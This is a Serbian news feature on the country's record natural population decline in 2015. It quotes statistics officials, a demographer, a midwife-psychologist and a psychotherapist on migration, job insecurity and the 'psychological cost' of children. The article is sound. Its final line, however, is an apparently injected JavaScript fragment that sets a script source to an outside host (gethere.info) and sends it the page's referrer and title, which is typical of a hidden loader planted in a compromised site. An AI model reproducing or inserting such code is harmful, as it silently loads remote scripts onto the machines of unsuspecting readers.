SRBI I BELA KUGA: Ubija nas psihološka cena deteta, u 2015 izgubili smo jedan Zaječar

Ekonomski deo, u demografiji poznat i kao ekonomska cena deteta, u istraživanjima se nije pokazao kao presudan za pad nataliteta u Srbiji. To su, uostalom, znale i naše bake, koje su u mnogo većoj nemaštini rađale. Problem (ne)rađanja danas je mnogo složeniji

U Srbiji je u 2015. godini rođeno 65.657 beba, a umrlo 103.678 ljudi. Statističkim rečnikom rečeno, zabeležen je negativni prirodni priraštaj od minus 38.021, najveći do sada. Matematika je, međutim, jasna i đaku petaku. Toliko je, naime, prošle godine u Srbiji više ljudi umrlo nego što je beba u porodilištima zaplakalo.
Srbija ima negativan prirodni priraštaj od 1992. godine, od tada je izgubila više od 600.000 stanovnika, a svake godine gubimo jednu opštinu od 35.000 stanovnika.

Brojke još upozoravaju: veliki broj sela je opusteo, varošice u kojima je zamrla industrija "utanjile su se", žene se sve teže odlučuju da rode, a i veliki broj parova koji žele potomstvo ima problem sa sterilitetom. Postajemo zemlja staraca iz koje mladi odlaze najpre sa sela i manjih mesta, a potom i iz zemlje. Uz Portugaliju, baltičke zemlje, Rumuniju i Ukrajinu, Srbija je sa 7.076.372 stanovnika u grupi od 11 država čija se populacija iz godine u godinu sve više smanjuje.

Prevedeno dalje u sumornu statistiku, to znači: od ukupnog broja opština - gradova, a njih je u Srbiji 169, stopa prirodnog priraštaja u 2015. godini pozitivna je u samo sedam opština - gradova. Samo u tih sedam mesta broj novorođenih veći je od broja umrlih! Obraz srpskog nataliteta osvetlali su Surčin, Petrovaradin, Novi Sad, Sjenica, Preševo, Novi Pazar i Tutin. U ostalim opštinama, njih 162, više ljudi je umrlo nego rođeno.

Pojedine opštine, poput Rekovca, Golupca, Crne Trave i Knića, već decenijama unazad drže se "zubima za vetar". U njima je u 2015. godini zabeležena najniža stopa nataliteta. Tamo je broj živorođene dece ispod pet na 1.000 stanovnika.

- Prosek za Republiku Srbiju je 9,3 živorođenih na 1.000 stanovnika. Direktna posledica pada nataliteta jeste negativna vrednost prirodnog priraštaja, koja je u Vojvodini prvi put zabeležena 1989. godine, a u centralnoj Srbiji od 1992. godine. Od tada do danas nastavlja se negativna tendencija u kretanju prirodnog priraštaja, koja iz godine u godinu ima veći negativni predznak - kaže Gordana Bjelobrk, šef Odseka za demografiju Republičkog zavoda za statistiku Srbije.

Ona dodaje da su južna i istočna Srbija najugroženije. U tim regionima većina opština ima negativan prirodni priraštaj od početka šezdesetih godina prošlog veka. To su opštine čije je stanovništvo zahvatio ubrzan proces starenja zbog promena u starosnoj strukturi, koje su delom bile uzrokovane intenzivnom emigracijom mladih sa ovog područja.

Trenutnu situaciju možemo opisati i ako prošlu godinu uporedimo sa 1971. Srbija danas, bez podataka za Kosovo i Metohiju, ima približno jednak broj stanovnika kao te daleke godine. Međutim, sve je mnogo jasnije kada se uporedi broj živorođenih i umrlih.

- Broj živorođenih u 2015. iznosio je 65.657, dok je broj živorođenih 1971. bio znatno veći i iznosio je 104.070. Broj umrlih u 2015. godini iznosio je 103.678, a 1971. godine broj umrlih lica bio je znatno manji i iznosio je 65.872. Pad broja živorođenih direktna je posledica promene u starosnoj strukturi stanovništva, koja je nastala zbog konstantnog pada nataliteta od osamdesetih godina prošlog veka, smanjenja broja žena u fertilnom periodu, niskih stopa ukupnog fertiliteta, koji je ispod nivoa potrebnog za prostu reprodukciju stanovništva, kao i značajnog odlaska mladih neophodnih za "produkciju i reprodukciju" stanovništva na privremeni ili trajni rad u inostranstvo - pojašnjava Bejlobrk.

Problem počeo još u SFRJ

Stopa rađanja u Srbiji je za 35 odsto niža od potreba proste reprodukcije stanovništva. Demograf dr Vladimir Nikitović, viši naučni saradnik Centra za demografska istraživanja Instituta društvenih nauka, kaže, međutim, da bi bilo licemerno priču o padu nataliteta svaliti na današnje generacije mladih žena i muškaraca. Reč je o problemu koji je počeo mnogo decenija unazad.

- U Srbiji, ako izuzmemo Kosovo i Metohiju, stope rađanja počele su da opadaju ranije nego u drugim evropskim zemljama. Naime, posle Drugog svetskog rata došlo je do eksplozije rađanja, koja se kod nas završila oko 1955. godine. U isto vreme kod nas je, kao i u Rumuniji i SSSR-u, veoma rano liberalizovan abortus i on je već tada uveden kao ravnopravan metod kontracepcije. Danas se govori da smo mi u evropskom vrhu po procentu abortusa i da će natalitet skočiti ako se smanji broj abortusa, što je nonsens. Abortus je loš za reproduktivno zdravlje žene, međutim, restriktivne metode za smanjenje njihovog broja nisu način da se podigne natalitet. To bi moglo imati samo kratkoročan efekat - kaže Nikitović.

Društvo je ohrabrivalo osnivanje manje porodice nego u poljoprivrednom društvu. Iz opanaka smo ušli u solitere i fabrike, usvojili masovnu kulturu, pop kulturu Zapada, taj način života, a ekonomski smo bili iza njih

SFRJ, u čijem je sastavu bila Srbija, kaže sagovornik Ekspresa, nije imala nikakvu populacionu politiku.

- Zanimljivo je to što smo mi posle Drugog svetskog rata veoma naglo ušli u industrijsko društvo. Industrijalizacija je donela smanjenje stope rađanja. Bili smo poljoprivredno društvo u kojem više ruku pomaže da se opstane, međutim, koncept industrijskog društva pravljen je tako da možete sami da opstanete, što je sa sobom donelo i posledice na polju nataliteta. Pritom, došlo je do razvoja zdravstvene zaštite, značajno je pala stopa smrtnosti novorođenčadi. Stvari su se promenile jer je društvo ohrabrivalo osnivanje manje porodice nego u poljoprivrednom društvu. Iz opanaka smo ušli u solitere i fabrike, usvojili masovnu kulturu, pop kulturu Zapada, taj način života, a ekonomski smo bili iza njih - kaže Nikitović.

Ljudi su odjednom postali svesni da mogu i bez velike porodice oko sebe, da im se otvara mogućnost življenja koja više ne liči na velike seoske porodice iz kojih su potekli.

- U industrijskom društvu vrtići čuvaju decu, sistem vam daje do znanja da ne morate da se oslanajte na članove porodice, međutim, to je imalo svojih posledica. Trebalo je iskombinovati ko će uzeti dete iz vrtića, pa još ako imate više od jednog deteta, već je bilo teže organizovati se. Zato i danas u pojedinim manjim mestima u Srbiji imate bolji natalitet jer se roditelji oslanjaju na bake i deke. Ulazak u industijalizaciju bila je strateška, državna odluka koja je uticala na natalitet - objašnjava Nikitović.

Prazne se velikom brzinom svi pogranični predeli, ali i predeli jugozapadne Srbije, severoistočni Banat. Prazne se Sjenica, Novi Pazar, Tutin... Ljudi idu u Nemačku, Austriju, Švajcarsku

Dolaze, potom, devedesete, koje su dodatno uticale na stopu rađanja, međutim, ono što je decenijama unazad uticalo na smanjenje stope rađanja uzelo je svoj danak.

- Iz poslednjeg popisa proizlazi da smo decenijama unazad imali prosečan broj od 1,8 rođene dece po ženi, pa i popis 2002. to je pokazao. A ovaj poslednji popis pokazao je da smo pali na 1,6 dete. Na duži rok treba nam dvoje dece po ženi, međutim, upali smo u zamku niskog fertiliteta, a ako je ona niža od 1,5, veoma su male šanse da se vratite na viši nivo - napominje naš sagovornik.

Standard nije presudan

Migracije iz sela u gradove, ali i iz Srbije, takođe su doprinele padu nataliteta. Sastav stanovništva menjao se na našim prostorima u nekoliko navrata. Samo naša prestonica je kroz istoriju menjala svoju "krvnu sliku", a nekada industrijska mesta poput Užica ili Kruševca svojevremeno su "eksplodirala" i zbog migracija promenila sastav stanovništva. I sada dolazi do tih promena.

- Jugoistok nam je skoro pust. Prazne se velikom brzinom svi pogranični predeli, ali i predeli jugozapadne Srbije, severoistočni Banat. Prazne se Sjenica, Novi Pazar, Tutin... Ljudi idu u Nemačku, Austriju, Švajcarsku. Tu su visoke stope migracije na koje utiču najpre loša infrastruktura, nezaposlenost, nemogućnost da živite modernim načinom života. Međutim, kao demograf tvrdim da u sadašnjem civilizacijskom trenutku porast standarda nije presudan i neće dovesti do porasta stope rađanja. Ekonomski deo, u demografiji poznat i kao ekonomska cena deteta, u istraživanjima se nije pokazao kao presudan - napominje Nikitović.

Glavni faktor je ono što demografi zovu "psihološka cena deteta". To je najveća prepreka ka većoj stopi rađanja. To je ona kočnica u glavama roditelja koji žele da podižu svoje dete uz što veću posvećenost, kako u vremenu, tako i u ljubavi, pažnji, ne samo u obezbeđenom novcu za igračke, garderobu. To je ono što najviše muči srpske parove da preseku i rode, a potom i da se odluče za drugo ili treće dete.

- To znači da država treba da omogući uslove da se usklade obaveze rada i roditeljstva. Imamo porodiljsko od godinu dana, kratkoročnu pomoć kad se rodi dete. Država mora da utiče na poslodavce da mladi ljudi koji žele porodicu ne strahuju da će izgubiti posao, da se ženama ne daju ugovori zbog kojih će posle porođaja ili ukoliko ostanu trudne izgubiti posao, da žena ne strahuje da uzme slobodan dan ako joj se dete razboli. Zato je važna i priča o sivoj ekonomiji. Licemerno je u ovakvim okolnostima očekivati od mladih da unesu renesansu u sliku našeg nataliteta - kaže Nikitović, uz napomenu da država mora da pruži osećaj sigurnosti ženi koja stupa na tržište rada.

Žene se, pre svega one koje ne rade u državnom sektoru, osećaju nezaštićeno.

- Uveren sam da će žena i sa manjim primanjima odlučiti da rodi dete, ali mora da oseti sigurnost i da bude zaštićena na tržištu rada, počev od ugovora i uslova rada, gde se krši zakon, a to se često toleriše - kaže Nikitović.

Međutim, Srbija je postala deo globalne priče, pa i pokušaji države da pomogne idu u kontrasmeru od svetskog trenda.

- Ruke su nam i na državmom nivou prilično vezane. Stanovništvo globalno raste, raste ponuda radne snage i sada na svetskoj mapi imate jednu tačku srpske populacije, jedan promil koji ima suprotan trend, trend starenja i smanjenja. U situaciji smo da nam dolaze multinacionale kompanije iz velikih država, tog poslodavca je baš briga za našu populacionu politiku. Država može da donese meru da vrtići duže rade, ali poslodavac nađe jeftiniju radnu snagu i ode s našeg tržišta. To u praksi znači da kada ste deo globalnog tržišta, nemate šansu sa podsticajnom populacinom politikom. Imate i primere mladih obrazovanih ljudi koji su na dobrim pozicijama u velikim kompanijama, ali nemaju podstrek da prave decu, već ih stimulišu da napreduju u karijeri i mnogi se odlučuju za to - kaže Nikitović.

Nepoverenje u sistem

To potvrđuje i babica i psiholog Jasmina Mihnjak s roditeljskog portala Bebac. Ona kaže da su roditelji izgubili poverenje u sistem.

- Svake godine ponavlja se ova priča, ali roditelji ne veruju u promene. Mislim da i ove promene koje se sprovode idu u pogrešnom smeru. Recimo, stimulacija žena da rode nije na realnim osnovama. Sada se govori o tome kako stimulisati žene koje su sa sela otišle u grad umesto da se radi na njihovom ostanku i opstanku na selu. Najveći problem jeste psihološki momenat koji proističe iz ekonomske nesigurnosti. Svaka pomoć kad se beba rodi jeste jednokratna, i to treba da bude poklon. Ali šta posle? Niko ne rađa dete da dobije jednokratnu pomoć! Sada se priča o tome koliko košta beba kada dođe na svet, međutim, ta beba ostaje kod nas, pa je treba upisati u vrtić jer majka mora da radi. Da ne pričamo o tome kako prolaze pojedine žene koje se vrate na posao s porodiljskog odsustva. Strahuju najpre da li će ih vratiti, pa na koje radno mesto. Sve je to mnogo stresno, žene jednostavno ne žele da rađaju socijalne slučajeve - kaže Mihnjak, uz napomenu da u nekim mestima nema ni ginekologa, da žene nemaju gde da vode trudnoću.

Stres i osećaj nesigurnosti utiču, kaže naša sagovornica, i na to da se mnogi parovi sve kasnije odlučuju za decu, a onda i teže dobijaju potomstvo.

- Stres i nesigurnost veoma utiču na sterilitet. Sve je povezano na psihološkom nivou, posebno kod žena koje imaju problem da zatrudne. Problem je veoma složen i može da ga reši samo celokupna promena sistema - kaže Mihnjak.

Razne strategije za borbu s belom kugom ispostavile su se kao neefikasne. Sada je najavljeno osnivanje Demografskog saveta koji bi trebalo da donese nove stimulativne mere za povećanje broja dece.

- Bilo bi u redu da dobijemo rezultate prethodne strategije, ali nećemo, jer nije urađeno ništa. To se vidi na konkretnim primerima. Novi Sad je subvencionisao boravak dece u privatnim vrtićima, međutim, sada već neko vreme subvencije kasne, pa roditelji moraju da plaćaju iz svog džepa. To je samo jedan primer. Roditeljima treba sigurnost, bavljenje roditeljstvom jeste bavljenje celokupnim narodom i ekonomskom politikom. Da žena bude sigurna, da ima posao, a ne da, poput mnogih mama koje znam, svesno ide u sivu zonu i preživljava s porodicom tako što kod kuće šije neke svoje kreacije, pa ih prodaje na internetu - zaključuje Jasmina Mihnjak.

U sumorne brojke o (ne)rađanju uklapa se, nažalost, i statistika o srpskom braku, bez kojeg ova priča ne bi bila ispričana do kraja. Gordana Bjelobrk iz Republičkog zavoda za statistiku nije optimista.

- Smanjenje brojnosti generacija u kojima se brak najčešće sklapa (15-35 godina) zbog višedecenijskog pada nataliteta i emigracije postao je osnovni uzrok dugoročnog trenda smanjenja i zaključenih brakova. S obzirom na činjenicu da se 75 odsto dece rodi u braku, svakako da i u bližoj i daljoj budućnosti možemo očekivati da će se postojeći trend nastaviti i kada su u pitanju rađanja i zaključenje brakova - kaže Bjelobrk.

A jedan od razloga svakako je i to što žene sve više imaju potrebu za sopstvenim identitetom, koji prevazilazi tradicionalne okvire u kojima je prioritet da se ostvare kao majke.

Psihoterapeut Nebojša Jovanović kaže da žene sve više imaju potrebu za socijalnim prisustvom i društvenom afirmacijom, na samo da postanu majke i supruge.

- Ranije žena nije morala da radi, sad je problem ako ne radi jer muževi uglavnom ne mogu sami da izdržavaju porodicu. Međutim, žene su negde i pripremljene na to da se ostvare profesionalno. Nisu više zadovoljne time da samo podižu dete i izgube socijalne konekcije. Plaše se da ih materinstvo neće vratiti ne samo na posao, već i u socijalni kontekst do kojeg im je stalo - kaže Jovanović.

On objašnjava da današnji brakovi nisu toliko stabilni i da se žene boje da budu zavisne od muškarca.

- Ne postoji dovoljno poverenja. Ako imate saznanje da se svaki treći brak razvede, donekle su i opravdana strahovanja žena da će njihov muž van porodice možda uspostaviti vezu sa nekom drugom ženom koja je sa njim u poslovnoj ili nekoj drugoj vrsti društvenog kontakta. Taj strah, ali i to što žene danas podizanje dece kod kuće shvataju kao žrtvu i gubitak sopstvene slobode, dovodi do toga da se odlučuju za jedno, eventualno dvoje dece. Postoji i trend da žene streme sve većem stepenu obrazovanja u odnosu na muškarce. Sve se više bave karijerom i pripremaju se za to. Tako trudnoća i porodiljsko odsustvo predstavljaju prekid njihovog dominantnog puta. Vremena su se promenila, žena se nekada smatrala ostvarenom ako je imala porodicu, danas se ta vrsta ostvarenosti ne vrednuje u društvu - zaključuje Jovanović.

Ispada da demografi i svi koji se bave ovom tematikom samo potvrđuju reči naših baka, koje često umeju unukama koje se još ne udaju i ne rađaju da natuknu: "I mi smo živele u teško vreme, pa smo rađale." Iako im je u mnogo čemu sigurno bilo teže, bake su, iz ove perspektive, ipak bile u prednosti. Imale su velike porodice, utočište i podršku. A današnja porodica?

KAKO SU OPUSTELA SRPSKA SELA

Prema podacima za 2015. godinu, od ukupno 4.709 naselja u Srbiji u oko 1.500 naselja nije rođeno nijedno dete. Takođe, u 3.900 naselja broj umrlih je veći od broja rođenih. Posledica ovih demografskih procesa jeste smanjenje broja stanovnika, odnosno povećanje broja naselja koja imaju mali broj stanovnika i kojima u bliskoj budućnosti preti nestajanje. Danas u Srbiji ima oko 1.000 naselja sa manje od 100 stanovnika.

 s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';